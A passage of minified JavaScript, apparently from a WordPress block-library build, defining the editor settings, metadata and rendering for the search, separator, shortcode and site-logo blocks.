author"),checked:s,onChange:b("displayAuthor")})}),(0,it.jsx)(vt.__experimentalToolsPanelItem,{label:(0,Mt.__)("Display date"),hasValue:()=>!!c,onDeselect:()=>t({displayDate:!1}),isShownByDefault:!0,children:(0,it.jsx)(vt.ToggleControl,{label:(0,Mt.__)("Display date"),checked:c,onChange:b("displayDate")})}),(0,it.jsx)(vt.__experimentalToolsPanelItem,{label:(0,Mt.__)("Display excerpt"),hasValue:()=>!!u,onDeselect:()=>t({displayExcerpt:!1}),isShownByDefault:!0,children:(0,it.jsx)(vt.ToggleControl,{label:(0,Mt.__)("Display excerpt"),checked:u,onChange:b("displayExcerpt")})}),u&&(0,it.jsx)(vt.__experimentalToolsPanelItem,{label:(0,Mt.__)("Max number of words in excerpt"),hasValue:()=>m!==55,onDeselect:()=>t({excerptLength:55}),isShownByDefault:!0,children:(0,it.jsx)(vt.RangeControl,{__next40pxDefaultSize:!0,label:(0,Mt.__)("Max number of words in excerpt"),value:m,onChange:D=>t({excerptLength:D}),min:10,max:100,required:!0})}),i==="grid"&&(0,it.jsx)(vt.__experimentalToolsPanelItem,{label:(0,Mt.__)("Columns"),hasValue:()=>l!==2,onDeselect:()=>t({columns:2}),isShownByDefault:!0,children:(0,it.jsx)(vt.RangeControl,{__next40pxDefaultSize:!0,label:(0,Mt.__)("Columns"),value:l,onChange:D=>t({columns:D}),min:2,max:6,required:!0})}),(0,it.jsx)(vt.__experimentalToolsPanelItem,{label:(0,Mt.__)("Open links in new tab"),hasValue:()=>!!f,onDeselect:()=>t({openInNewTab:!1}),isShownByDefault:!0,children:(0,it.jsx)(vt.ToggleControl,{label:(0,Mt.__)("Open links in new tab"),checked:f,onChange:D=>t({openInNewTab:D})})})]})}),(0,it.jsx)(Gd.InspectorControls,{group:"advanced",children:(0,it.jsx)(vt.TextControl,{__next40pxDefaultSize:!0,label:(0,Mt.__)("Link relation"),help:(0,i6.createInterpolateElement)((0,Mt.__)("The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."),{a:(0,it.jsx)(vt.ExternalLink,{href:"https://developer.mozilla.org/docs/Web/HTML/Attributes/rel"})}),value:h||"",onChange:D=>t({rel:D})})}),x==="loading"&&(0,it.jsx)("div",{...C,children:(0,it.jsx)(vt.Spinner,{})}),x==="error"&&(0,it.jsx)("div",{...C,children:(0,it.jsx)("p",{children:(0,Mt.sprintf)((0,Mt.__)("Error: %s"),k)})}),x==="success"&&(0,it.jsx)(no,{wrapperProps:C,html:_})]})}var{name:xie}=n6,_ie={icon:o1,example:{attributes:{feedURL:"https://wordpress.org"}},edit:yie},L3e=()=>N({name:xie,metadata:n6,settings:_ie});var vM={};q(vM,{init:()=>V3e,metadata:()=>l6,name:()=>Iie,settings:()=>c6});var Bg=o(I(),1);var Bie=o(U(),1);var l6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/search",title:"Search",category:"widgets",description:"Help visitors find your content.",keywords:["find"],textdomain:"default",attributes:{label:{type:"string",role:"content"},showLabel:{type:"boolean",default:!0},placeholder:{type:"string",default:"",role:"content"},width:{type:"number"},widthUnit:{type:"string"},buttonText:{type:"string",role:"content"},buttonPosition:{type:"string",default:"button-outside"},buttonUseIcon:{type:"boolean",default:!1},query:{type:"object",default:{}},isSearchFieldHidden:{type:"boolean",default:!1}},supports:{anchor:!0,align:["left","center","right"],color:{gradients:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{background:!0,text:!0}},interactivity:!0,typography:{__experimentalSkipSerialization:!0,__experimentalSelector:".wp-block-search__label, .wp-block-search__input, .wp-block-search__button",fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}},spacing:{margin:!0},html:!1},editorStyle:"wp-block-search-editor",style:"wp-block-search"};var Yr=o(T(),1),s6=o(z(),1),Wd=o(j(),1),ur=o(A(),1),Cie=o(ue(),1);var cr=o(I(),1),Sie=o(Ri(),1);var pM=50,dM=350,fM=220;function hM(e){return e==="%"}var At=o(v(),1),kie="4px",wie=[25,50,75,100];function Tie({className:e,attributes:t,setAttributes:r,toggleSelection:a,isSelected:n,clientId:i}){let{label:l,showLabel:s,placeholder:c,width:u,widthUnit:m,align:p,buttonText:d,buttonPosition:f,buttonUseIcon:h,isSearchFieldHidden:g,style:b}=t,y=(0,s6.useSelect)(ae=>{let{getBlockParentsByBlockName:Be,wasBlockJustInserted:Ae}=ae(Yr.store);return!!Be(i,"core/navigation")?.length&&Ae(i)},[i]),{__unstableMarkNextChangeAsNotPersistent:_}=(0,s6.useDispatch)(Yr.store);(0,Wd.useEffect)(()=>{y&&(_(),r({showLabel:!1,buttonUseIcon:!0,buttonPosition:"button-inside"}))},[_,y,r]);let x=b?.border?.radius,k=(0,Yr.__experimentalUseBorderProps)(t);typeof x=="number"&&(k={...k,style:{...k.style,borderRadius:`${x}px`}});let S=(0,Yr.__experimentalUseColorProps)(t),[C,E]=(0,Yr.useSettings)("typography.fluid","layout"),B=(0,Yr.getTypographyClassesAndStyles)(t,{typography:{fluid:C},layout:{wideSize:E?.wideSize}}),M=`wp-block-search__width-${(0,Cie.useInstanceId)(ur.__experimentalUnitControl)}`,O=f==="button-inside",R=f==="button-outside",F=f==="no-button",P=f==="button-only",H=(0,Wd.useRef)(),$=(0,Wd.useRef)(),V=(0,ur.__experimentalUseCustomUnits)({availableUnits:["%","px"],defaultValues:{"%":pM,px:dM}});(0,Wd.useEffect)(()=>{P&&!n&&r({isSearchFieldHidden:!0})},[P,n,r]),(0,Wd.useEffect)(()=>{!P||!n||r({isSearchFieldHidden:!1})},[P,n,r,u]);let G=()=>w(e,O?"wp-block-search__button-inside":void 0,R?"wp-block-search__button-outside":void 0,F?"wp-block-search__no-button":void 0,P?"wp-block-search__button-only":void 0,!h&&!F?"wp-block-search__text-button":void 0,h&&!F?"wp-block-search__icon-button":void 0,P&&g?"wp-block-search__searchfield-hidden":void 0),K=[{label:(0,cr.__)("Button outside"),value:"button-outside"},{label:(0,cr.__)("Button inside"),value:"button-inside"},{label:(0,cr.__)("No button"),value:"no-button"},{label:(0,cr.__)("Button only"),value:"button-only"}],X=()=>P?{}:{right:p!=="right",left:p==="right"},ee=()=>{let ae=w("wp-block-search__input",O?void 0:k.className,B.className),Be={...O?{borderRadius:k.style?.borderRadius,borderTopLeftRadius:k.style?.borderTopLeftRadius,borderTopRightRadius:k.style?.borderTopRightRadius,borderBottomLeftRadius:k.style?.borderBottomLeftRadius,borderBottomRightRadius:k.style?.borderBottomRightRadius}:k.style,...B.style,textDecoration:void 0};return(0,At.jsx)("input",{type:"search",className:ae,style:Be,"aria-label":(0,cr.__)("Optional placeholder text"),placeholder:c?void 0:(0,cr.__)("Optional placeholder\u2026"),value:c,onChange:Ae=>r({placeholder:Ae.target.value}),ref:H})},ne=()=>{let ae=w("wp-block-search__button",S.className,B.className,O?void 0:k.className,h?"has-icon":void 0,(0,Yr.__experimentalGetElementClassName)("button")),Be={...S.style,...B.style,...O?{borderRadius:k.style?.borderRadius,borderTopLeftRadius:k.style?.borderTopLeftRadius,borderTopRightRadius:k.style?.borderTopRightRadius,borderBottomLeftRadius:k.style?.borderBottomLeftRadius,borderBottomRightRadius:k.style?.borderBottomRightRadius}:k.style},Ae=()=>{P&&r({isSearchFieldHidden:!g})};return(0,At.jsxs)(At.Fragment,{children:[h&&(0,At.jsx)("button",{type:"button",className:ae,style:Be,"aria-label":d?(0,Sie.__unstableStripHTML)(d):(0,cr.__)("Search"),onClick:Ae,ref:$,children:(0,At.jsx)(Fa,{icon:a1})}),!h&&(0,At.jsx)(Yr.RichText,{identifier:"buttonText",className:ae,style:Be,"aria-label":(0,cr.__)("Button text"),placeholder:(0,cr.__)("Add button text\u2026"),withoutInteractiveFormatting:!0,value:d,onChange:re=>r({buttonText:re}),onClick:Ae})]})},J=W(),oe=(0,At.jsx)(At.Fragment,{children:(0,At.jsx)(Yr.InspectorControls,{children:(0,At.jsxs)(ur.__experimentalToolsPanel,{label:(0,cr.__)("Settings"),resetAll:()=>{r({width:void 0,widthUnit:void 0,showLabel:!0,buttonUseIcon:!1,buttonPosition:"button-outside",isSearchFieldHidden:!1})},dropdownMenuProps:J,children:[(0,At.jsx)(ur.__experimentalToolsPanelItem,{hasValue:()=>!s,label:(0,cr.__)("Show label"),onDeselect:()=>{r({showLabel:!0})},isShownByDefault:!0,children:(0,At.jsx)(ur.ToggleControl,{checked:s,label:(0,cr.__)("Show label"),onChange:ae=>r({showLabel:ae})})}),(0,At.jsx)(ur.__experimentalToolsPanelItem,{hasValue:()=>f!=="button-outside",label:(0,cr.__)("Button position"),onDeselect:()=>{r({buttonPosition:"button-outside",isSearchFieldHidden:!1})},isShownByDefault:!0,children:(0,At.jsx)(ur.SelectControl,{value:f,__next40pxDefaultSize:!0,label:(0,cr.__)("Button position"),onChange:ae=>{r({buttonPosition:ae,isSearchFieldHidden:ae==="button-only"})},options:K})}),f!=="no-button"&&(0,At.jsx)(ur.__experimentalToolsPanelItem,{hasValue:()=>!!h,label:(0,cr.__)("Use button with icon"),onDeselect:()=>{r({buttonUseIcon:!1})},isShownByDefault:!0,children:(0,At.jsx)(ur.ToggleControl,{checked:h,label:(0,cr.__)("Use button with icon"),onChange:ae=>r({buttonUseIcon:ae})})}),(0,At.jsx)(ur.__experimentalToolsPanelItem,{hasValue:()=>!!u,label:(0,cr.__)("Width"),onDeselect:()=>{r({width:void 0,widthUnit:void 0})},isShownByDefault:!0,children:(0,At.jsxs)(ur.__experimentalVStack,{children:[(0,At.jsx)(ur.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,cr.__)("Width"),id:M,min:hM(m)?0:fM,max:hM(m)?100:void 0,step:1,onChange:ae=>{let Be=ae===""?void 0:parseInt(ae,10);r({width:Be})},onUnitChange:ae=>{r({width:ae==="%"?pM:dM,widthUnit:ae})},__unstableInputWidth:"80px",value:`${u}${m}`,units:V}),(0,At.jsx)(ur.__experimentalToggleGroupControl,{label:(0,cr.__)("Percentage Width"),value:wie.includes(u)&&m==="%"?u:void 0,hideLabelFromVision:!0,onChange:ae=>{r({width:ae,widthUnit:"%"})},isBlock:!0,__next40pxDefaultSize:!0,children:wie.map(ae=>(0,At.jsx)(ur.__experimentalToggleGroupControlOption,{value:ae,label:(0,cr.sprintf)((0,cr.__)("%d%%"),ae)},ae))})]})})]})})}),ie=ae=>ae!==void 0&&parseInt(ae,10)!==0,le=ae=>ie(ae)?`calc(${ae} + ${kie})`:void 0,de=()=>{let ae=O?k.style:{borderRadius:k.style?.borderRadius,borderTopLeftRadius:k.style?.borderTopLeftRadius,borderTopRightRadius:k.style?.borderTopRightRadius,borderBottomLeftRadius:k.style?.borderBottomLeftRadius,borderBottomRightRadius:k.style?.borderBottomRightRadius};if(O){if(typeof x=="object"){let{borderTopLeftRadius:Ae,borderTopRightRadius:re,borderBottomLeftRadius:fe,borderBottomRightRadius:rt}=k.style;return{...ae,borderTopLeftRadius:le(Ae),borderTopRightRadius:le(re),borderBottomLeftRadius:le(fe),borderBottomRightRadius:le(rt)}}let Be=Number.isInteger(x)?`${x}px`:x;ae.borderRadius=`calc(${Be} + ${kie})`}return ae},Ve=(0,Yr.useBlockProps)({className:G(),style:{...B.style,textDecoration:void 0}}),Ne=w("wp-block-search__label",B.className);return(0,At.jsxs)("div",{...Ve,children:[oe,s&&(0,At.jsx)(Yr.RichText,{identifier:"label",className:Ne,"aria-label":(0,cr.__)("Label text"),placeholder:(0,cr.__)("Add label\u2026"),withoutInteractiveFormatting:!0,value:l,onChange:ae=>r({label:ae}),style:B.style}),(0,At.jsxs)(ur.ResizableBox,{size:{width:u===void 0?"auto":`${u}${m}`,height:"auto"},className:w("wp-block-search__inside-wrapper",O?k.className:void 0),style:de(),minWidth:fM,enable:X(),onResizeStart:(ae,Be,Ae)=>{r({width:parseInt(Ae.offsetWidth,10),widthUnit:"px"}),a(!1)},onResizeStop:(ae,Be,Ae,re)=>{r({width:parseInt(u+re.width,10)}),a(!0)},showHandle:n,children:[(O||R||P)&&(0,At.jsxs)(At.Fragment,{children:[ee(),ne()]}),F&&ee()]})]})}var gM=o(I(),1),A3e=[{name:"default",isDefault:!0,attributes:{buttonText:(0,gM.__)("Search"),label:(0,gM.__)("Search")}}],Pie=A3e;var{fieldsKey:R3e,formKey:z3e}=Z(Bie.privateApis),{name:Iie}=l6,c6={icon:a1,example:{attributes:{buttonText:(0,Bg.__)("Search"),label:(0,Bg.__)("Search")},viewportWidth:400},variations:Pie,edit:Tie};window.__experimentalContentOnlyInspectorFields&&(c6[R3e]=[{id:"label",label:(0,Bg.__)("Label"),type:"text",Edit:"rich-text"},{id:"buttonText",label:(0,Bg.__)("Button text"),type:"text",Edit:"rich-text"},{id:"placeholder",label:(0,Bg.__)("Placeholder"),type:"text",Edit:"rich-text"}],c6[z3e]={fields:["label","buttonText","placeholder"]});var V3e=()=>N({name:Iie,metadata:l6,settings:c6});var bM={};q(bM,{init:()=>U3e,metadata:()=>m6,name:()=>Vie,settings:()=>Fie});var Vm=o(T(),1),u6=o(A(),1),Mb=o(I(),1);var Lb=o(j(),1),Eie=o(ue(),1);function Nie(e,t,r){let[a,n]=(0,Lb.useState)(!1),i=(0,Eie.usePrevious)(t);(0,Lb.useEffect)(()=>{e==="css"&&!t&&!i&&n(!0)},[t,i,e]),(0,Lb.useEffect)(()=>{e==="css"&&(a&&t||i&&t!==i)&&(r({opacity:"alpha-channel"}),n(!1))},[a,t,i])}var fu=o(v(),1),F3e=({tagName:e,setAttributes:t})=>(0,fu.jsx)(u6.SelectControl,{label:(0,Mb.__)("HTML element"),value:e,onChange:r=>t({tagName:r}),options:[{label:(0,Mb.__)("Default (<hr>)"),value:"hr"},{label:"<div>",value:"div"}],help:e==="hr"?(0,Mb.__)("Only select <hr> if the separator conveys important information and should be announced by screen readers."):(0,Mb.__)("The <div> element should only be used if the block is a design element with no semantic meaning."),__next40pxDefaultSize:!0});function Die({attributes:e,setAttributes:t}){let{backgroundColor:r,opacity:a,style:n,tagName:i}=e,l=(0,Vm.__experimentalUseColorProps)(e),s=l?.style?.backgroundColor,c=!!n?.color?.background;Nie(a,s,t);let u=(0,Vm.getColorClassName)("color",r),m=w({"has-text-color":r||s,[u]:u,"has-css-opacity":a==="css","has-alpha-channel-opacity":a==="alpha-channel"},l.className);return(0,fu.jsxs)(fu.Fragment,{children:[(0,fu.jsx)(Vm.InspectorControls,{group:"advanced",children:(0,fu.jsx)(F3e,{tagName:i,setAttributes:t})}),(0,fu.jsx)(i==="hr"?u6.HorizontalRule:i,{...(0,Vm.useBlockProps)({className:m,style:c?{color:s,backgroundColor:s}:void 0})})]})}var m6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/separator",title:"Separator",category:"design",description:"Create a break between ideas or sections with a horizontal separator.",keywords:["horizontal-line","hr","divider"],textdomain:"default",attributes:{opacity:{type:"string",default:"alpha-channel"},tagName:{type:"string",enum:["hr","div"],default:"hr"}},supports:{anchor:!0,align:["center","wide","full"],color:{enableContrastChecker:!1,__experimentalSkipSerialization:!0,gradients:!0,background:!0,text:!1,__experimentalDefaultControls:{background:!0}},spacing:{margin:["top","bottom"]},interactivity:{clientNavigation:!0}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"wide",label:"Wide Line"},{name:"dots",label:"Dots"}],editorStyle:"wp-block-separator-editor",style:"wp-block-separator"};var Ig=o(T(),1),Lie=o(v(),1);function Mie({attributes:e}){let{backgroundColor:t,style:r,opacity:a,tagName:n}=e,i=r?.color?.background,l=(0,Ig.__experimentalGetColorClassesAndStyles)(e),s=(0,Ig.getColorClassName)("color",t),c=w({"has-text-color":t||i,[s]:s,"has-css-opacity":a==="css","has-alpha-channel-opacity":a==="alpha-channel"},l.className),u={backgroundColor:l?.style?.backgroundColor,color:s?void 0:i};return(0,Lie.jsx)(n,{...Ig.useBlockProps.save({className:c,style:u})})}var Eg=o(U(),1),H3e={from:[{type:"input",regExp:/^-{3,}$/,transform:()=>[(0,Eg.createBlock)("core/separator"),(0,Eg.createBlock)((0,Eg.getDefaultBlockName)())]},{type:"raw",selector:"hr",schema:{hr:{}}}],to:[{type:"block",blocks:["core/spacer"],transform:({anchor:e})=>(0,Eg.createBlock)("core/spacer",{anchor:e||void 0})}]},Aie=H3e;var Ab=o(T(),1),Rie=o(v(),1),j3e={attributes:{color:{type:"string"},customColor:{type:"string"}},save({attributes:e}){let{color:t,customColor:r}=e,a=(0,Ab.getColorClassName)("background-color",t),n=(0,Ab.getColorClassName)("color",t),i=w({"has-text-color has-background":t||r,[a]:a,[n]:n}),l={backgroundColor:a?void 0:r,color:n?void 0:r};return(0,Rie.jsx)("hr",{...Ab.useBlockProps.save({className:i,style:l})})},migrate(e){let{color:t,customColor:r,...a}=e;return{...a,backgroundColor:t||void 0,opacity:"css",style:r?{color:{background:r}}:void 0,tagName:"hr"}}},zie=[j3e];var{name:Vie}=m6,Fie={icon:WP,example:{attributes:{customColor:"#065174",className:"is-style-wide"}},transforms:Aie,edit:Die,save:Mie,deprecated:zie},U3e=()=>N({name:Vie,metadata:m6,settings:Fie});var xM={};q(xM,{init:()=>$3e,metadata:()=>g6,name:()=>Zie,settings:()=>Kie});var p6=o(I(),1),f6=o(T(),1),Oie=o(ue(),1),Hie=o(A(),1);var d6=o(v(),1);function yM({attributes:e,setAttributes:t}){let a=`blocks-shortcode-input-${(0,Oie.useInstanceId)(yM)}`;return(0,d6.jsx)("div",{...(0,f6.useBlockProps)(),children:(0,d6.jsx)(Hie.Placeholder,{icon:i1,label:(0,p6.__)("Shortcode"),children:(0,d6.jsx)(f6.PlainText,{className:"blocks-shortcode__textarea",id:a,value:e.text,"aria-label":(0,p6.__)("Shortcode text"),placeholder:(0,p6.__)("Write shortcode here\u2026"),onChange:n=>t({text:n})})})})}var jie=o(j(),1),Uie=o(v(),1);function Gie({attributes:e}){return(0,Uie.jsx)(jie.RawHTML,{children:e.text})}var h6=o($ie(),1),G3e={from:[{type:"shortcode",tag:"[a-z][a-z0-9_-]*",attributes:{text:{type:"string",shortcode:(e,{content:t})=>(0,h6.removep)((0,h6.autop)(t))}},priority:20}]},qie=G3e;var g6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/shortcode",title:"Shortcode",category:"widgets",description:"Insert additional custom elements with a WordPress shortcode.",textdomain:"default",attributes:{text:{type:"string",source:"raw",role:"content"}},supports:{className:!1,customClassName:!1,html:!1,customCSS:!1,visibility:!1},editorStyle:"wp-block-shortcode-editor"};var{name:Zie}=g6,Kie={icon:i1,transforms:qie,edit:yM,save:Gie},$3e=()=>N({name:Zie,metadata:g6,settings:Kie});var kM={};q(kM,{init:()=>Q3e,metadata:()=>v6,name:()=>tle,settings:()=>rle});var v6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/site-logo",title:"Site Logo",category:"theme",description:"Display an image to represent this site. Update this block and the changes apply everywhere.",textdomain:"default",attributes:{width:{type:"number"},isLink:{type:"boolean",default:!0,role:"content"},linkTarget:{type:"string",default:"_self",role:"content"},shouldSyncIcon:{type:"boolean"}},example:{viewportWidth:500,attributes:{width:350,className:"block-editor-block-types-list__site-logo-example"}},supports:{anchor:!0,html:!1,align:!0,alignWide:!1,color:{text:!1,background:!1},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},interactivity:{clientNavigation:!0},filter:{duotone:!0}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"rounded",label:"Rounded"}],selectors:{filter:{duotone:".wp-block-site-logo img, .wp-block-site-logo .components-placeholder__illustration, .wp-block-site-logo .components-placeholder::before"}},editorStyle:"wp-block-site-logo-editor",style:"wp-block-site-logo"};var _M=o(Tr(),1),uc=o(j(),1),Xr=o(I(),1),It=o(A(),1),Qie=o(ue(),1),Jr=o(T(),1),Fm=o(z(),1),Ng=o(Y(),1);var Yie=o(yr(),1);var Re=o(v(),1),b6=["image"],Z3e=({alt:e,attributes:{align:t,width:r,height:a,isLink:n,linkTarget:i,shouldSyncIcon:l},isSelected:s,setAttributes:c,setLogo:u,logoUrl:m,siteUrl:p,logoId:d,iconId:f,setIcon:h,canUserEdit:g})=>{let b=(0,Qie.useViewportMatch)("medium"),_=!["wide","full"].includes(t)&&b,[{naturalWidth:x,naturalHeight:k},S]=(0,uc.useState)({}),[C,E]=(0,uc.useState)(!1),{toggleSelection:B}=(0,Fm.useDispatch)(Jr.store),D=W(),O=(0,Jr.useBlockEditingMode)()==="contentOnly",{imageEditing:R,maxWidth:F,title:P}=(0,Fm.useSelect)(fe=>{let rt=fe(Jr.store).getSettings();return{title:fe(Ng.store).getEntityRecord("root","__unstableBase")?.name,imageEditing:rt.imageEditing,maxWidth:rt.maxWidth}},[]);(0,uc.useEffect)(()=>{l&&d!==f&&c({shouldSyncIcon:!1})},[]),(0,uc.useEffect)(()=>{s||E(!1)},[s]);function H(){B(!1)}function $(){B(!0)}let V=(0,Re.jsxs)(Re.Fragment,{children:[(0,Re.jsx)("img",{className:"custom-logo",src:m,alt:e,onLoad:fe=>{S({naturalWidth:fe.target.naturalWidth,naturalHeight:fe.target.naturalHeight})}}),(0,_M.isBlobURL)(m)&&(0,Re.jsx)(It.Spinner,{})]}),G=V;if(n&&(G=(0,Re.jsx)("a",{href:p,className:"custom-logo-link",rel:"home",title:P,onClick:fe=>fe.preventDefault(),children:V})),!_||!x||!k)return(0,Re.jsx)("div",{style:{width:r,height:a},children:G});let K=120,X=r||K,ee=x/k,ne=X/ee,J=x<k?zs:Math.ceil(zs*ee),oe=k<x?zs:Math.ceil(zs/ee),ie=F*2.5,le=!1,de=!1;t==="center"?(le=!0,de=!0):(0,Xr.isRTL)()?t==="left"?le=!0:de=!0:t==="right"?de=!0:le=!0;let Ve=d&&x&&k&&R,Ne=!O,ae;Ve&&C?ae=(0,Re.jsx)(Jr.__experimentalImageEditor,{id:d,url:m,width:X,height:ne,naturalHeight:k,naturalWidth:x,onSaveImage:fe=>{u(fe.id)},onFinishEditing:()=>{E(!1)}}):ae=(0,Re.jsx)(It.ResizableBox,{size:{width:X,height:ne},showHandle:s&&Ne,minWidth:J,maxWidth:ie,minHeight:oe,maxHeight:ie/ee,lockAspectRatio:!0,enable:{top:!1,right:le,bottom:!0,left:de},onResizeStart:H,onResizeStop:(fe,rt,tt,Yt)=>{$(),c({width:parseInt(X+Yt.width,10),height:parseInt(ne+Yt.height,10)})},children:G});let Ae=!window?.__experimentalUseCustomizerSiteLogoUrl?p+"/wp-admin/options-general.php":p+"/wp-admin/customize.php?autofocus[section]=title_tagline",re=(0,uc.createInterpolateElement)((0,Xr.__)("Site Icons are what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. To use a custom icon that is different from your site logo, use the <a>Site Icon settings</a>."),{a:(0,Re.jsx)("a",{href:Ae,target:"_blank",rel:"noopener noreferrer"})});return(0,Re.jsxs)(Re.Fragment,{children:[(0,Re.jsx)(Jr.InspectorControls,{children:(0,Re.jsxs)(It.__experimentalToolsPanel,{label:(0,Xr.__)("Settings"),dropdownMenuProps:D,children:[(0,Re.jsx)(It.__experimentalToolsPanelItem,{isShownByDefault:!0,hasValue:()=>!!r,label:(0,Xr.__)("Image width"),onDeselect:()=>c({width:void 0}),children:(0,Re.jsx)(It.RangeControl,{__next40pxDefaultSize:!0,label:(0,Xr.__)("Image width"),onChange:fe=>c({width:fe}),min:J,max:ie,initialPosition:Math.min(K,ie),value:r||"",disabled:!_})}),(0,Re.jsx)(It.__experimentalToolsPanelItem,{isShownByDefault:!0,hasValue:()=>!n,label:(0,Xr.__)("Link image to home"),onDeselect:()=>c({isLink:!0}),children:(0,Re.jsx)(It.ToggleControl,{label:(0,Xr.__)("Link image to home"),onChange:()=>c({isLink:!n}),checked:n})}),n&&(0,Re.jsx)(It.__experimentalToolsPanelItem,{isShownByDefault:!0,hasValue:()=>i==="_blank",label:(0,Xr.__)("Open in new tab"),onDeselect:()=>c({linkTarget:"_self"}),children:(0,Re.jsx)(It.ToggleControl,{label:(0,Xr.__)("Open in new tab"),onChange:fe=>c({linkTarget:fe?"_blank":"_self"}),checked:i==="_blank"})}),g&&(0,Re.jsx)(It.__experimentalToolsPanelItem,{isShownByDefault:!0,hasValue:()=>!!l,label:(0,Xr.__)("Use as Site Icon"),onDeselect:()=>{c({shouldSyncIcon:!1}),h(void 0)},children:(0,Re.jsx)(It.ToggleControl,{label:(0,Xr.__)("Use as Site Icon"),onChange:fe=>{c({shouldSyncIcon:fe}),h(fe?d:void 0)},checked:!!l,help:re})})]})}),Ve&&!C&&Ne&&(0,Re.jsx)(Jr.BlockControls,{group:"block",children:(0,Re.jsx)(It.ToolbarButton,{onClick:()=>E(!0),icon:I0,label:(0,Xr.__)("Crop")})}),ae]})};function Xie({attributes:e,className:t,setAttributes:r,isSelected:a}){let{width:n,shouldSyncIcon:i}=e,{siteLogoId:l,canUserEdit:s,url:c,siteIconId:u,mediaItemData:m,isRequestingMediaItem:p}=(0,Fm.useSelect)(K=>{let{canUser:X,getEntityRecord:ee,getEditedEntityRecord:ne}=K(Ng.store),J=X("update",{kind:"root",name:"site"}),oe=J?ne("root","site"):void 0,ie=ee("root","__unstableBase"),le=J?oe?.site_logo:ie?.site_logo,de=oe?.site_icon,Ve=le&&K(Ng.store).getEntityRecord("postType","attachment",le,{context:"view"}),Ne=!!le&&!K(Ng.store).hasFinishedResolution("getEntityRecord",["postType","attachment",le,{context:"view"}]);return{siteLogoId:le,canUserEdit:J,url:ie?.home,mediaItemData:Ve,isRequestingMediaItem:Ne,siteIconId:de}},[]),{getSettings:d}=(0,Fm.useSelect)(Jr.store),[f,h]=(0,uc.useState)(),g=W(),{editEntityRecord:b}=(0,Fm.useDispatch)(Ng.store),y=(K,X=!1)=>{(i||X)&&_(K),b("root","site",void 0,{site_logo:K})},_=K=>b("root","site",void 0,{site_icon:K??null}),{alt_text:x,source_url:k}=m??{},S=K=>{if(i===void 0){let X=!u;r({shouldSyncIcon:X}),C(K,X);return}C(K)},C=(K,X=!1)=>{if(K){if(!K.id&&K.url){h(K.url),y(void 0);return}y(K.id,X)}},E=()=>{y(null),r({width:void 0})},{createErrorNotice:B}=(0,Fm.useDispatch)(Yie.store),D=K=>{B(K,{type:"snackbar"}),h()},M=K=>{d().mediaUpload({allowedTypes:b6,filesList:K,onFileChange([X]){if((0,_M.isBlobURL)(X?.url)){h(X.url);return}S(X)},onError:D,multiple:!1})},O={mediaURL:k,name:k?(0,Xr.__)("Replace"):(0,Xr.__)("Choose logo"),onSelect:C,onError:D,onReset:E},R=s&&(0,Re.jsx)(Jr.BlockControls,{group:"other",children:(0,Re.jsx)(Jr.MediaReplaceFlow,{...O,allowedTypes:b6,variant:"toolbar"})}),F,P=l===void 0||p;P&&(F=(0,Re.jsx)(It.Spinner,{})),(0,uc.useEffect)(()=>{k&&f&&h()},[k,f]),(k||f)&&(F=(0,Re.jsxs)(Re.Fragment,{children:[(0,Re.jsx)(Z3e,{alt:x,attributes:e,className:t,isSelected:a,setAttributes:r,logoUrl:f||k,setLogo:y,logoId:m?.id||l,siteUrl:c,setIcon:_,iconId:u,canUserEdit:s}),s&&(0,Re.jsx)(It.DropZone,{onFilesDrop:M})]}));let H=K=>{let X=w("block-editor-media-placeholder",t);return(0,Re.jsx)(It.Placeholder,{className:X,preview:F,withIllustration:!0,style:{width:n},children:K})},$=w(t,{"is-default-size":!n,"is-transient":f}),V=(0,Jr.useBlockProps)({className:$}),G=(s||k)&&(0,Re.jsx)(Jr.InspectorControls,{children:(0,Re.jsx)(It.__experimentalToolsPanel,{label:(0,Xr.__)("Media"),dropdownMenuProps:g,children:s?(0,Re.jsx)(It.__experimentalToolsPanelItem,{hasValue:()=>!!k,label:(0,Xr.__)("Logo"),isShownByDefault:!0,children:(0,Re.jsx)(i4,{mediaId:l,mediaUrl:k,filename:m?.media_details?.sizes?.full?.file||m?.slug,allowedTypes:b6,onSelect:C,onError:D,onReset:E,isUploading:!!f,emptyLabel:(0,Xr.__)("Logo")})}):(0,Re.jsx)("div",{className:"block-library-site-logo__inspector-media-replace-container",style:{gridColumn:"1 / -1"},children:(0,Re.jsx)(dN,{url:m?.source_url,filename:m?.media_details?.sizes?.full?.file||m?.slug,itemGroupProps:{isBordered:!0,className:"block-library-site-logo__inspector-readonly-logo-preview"},className:"block-library-site-logo__inspector-media-replace-title"})})})});return(0,Re.jsxs)("div",{...V,children:[R,G,(!!k||!!f)&&F,(P||!f&&!k&&!s)&&(0,Re.jsx)(It.Placeholder,{className:"site-logo_placeholder",withIllustration:!0,children:P&&(0,Re.jsx)("span",{className:"components-placeholder__preview",children:(0,Re.jsx)(It.Spinner,{})})}),!P&&!f&&!k&&s&&(0,Re.jsx)(Jr.MediaPlaceholder,{onSelect:S,allowedTypes:b6,onError:D,placeholder:H,mediaLibraryButton:({open:K})=>(0,Re.jsx)(It.Button,{__next40pxDefaultSize:!0,icon:Pc,variant:"primary",label:(0,Xr.__)("Choose logo"),showTooltip:!0,tooltipPosition:"middle right",onClick:()=>{K()}})})]})}var Jie=o(U(),1),K3e={to:[{type:"block",blocks:["core/site-title"],transform:({isLink:e,linkTarget:t})=>(0,Jie.createBlock)("core/site-title",{isLink:e,linkTarget:t})}]},ele=K3e;var{name:tle}=v6,rle={icon:YP,example:{},edit:Xie,transforms:ele},Q3e=()=>N({name:tle,metadata:v6,settings:rle});var 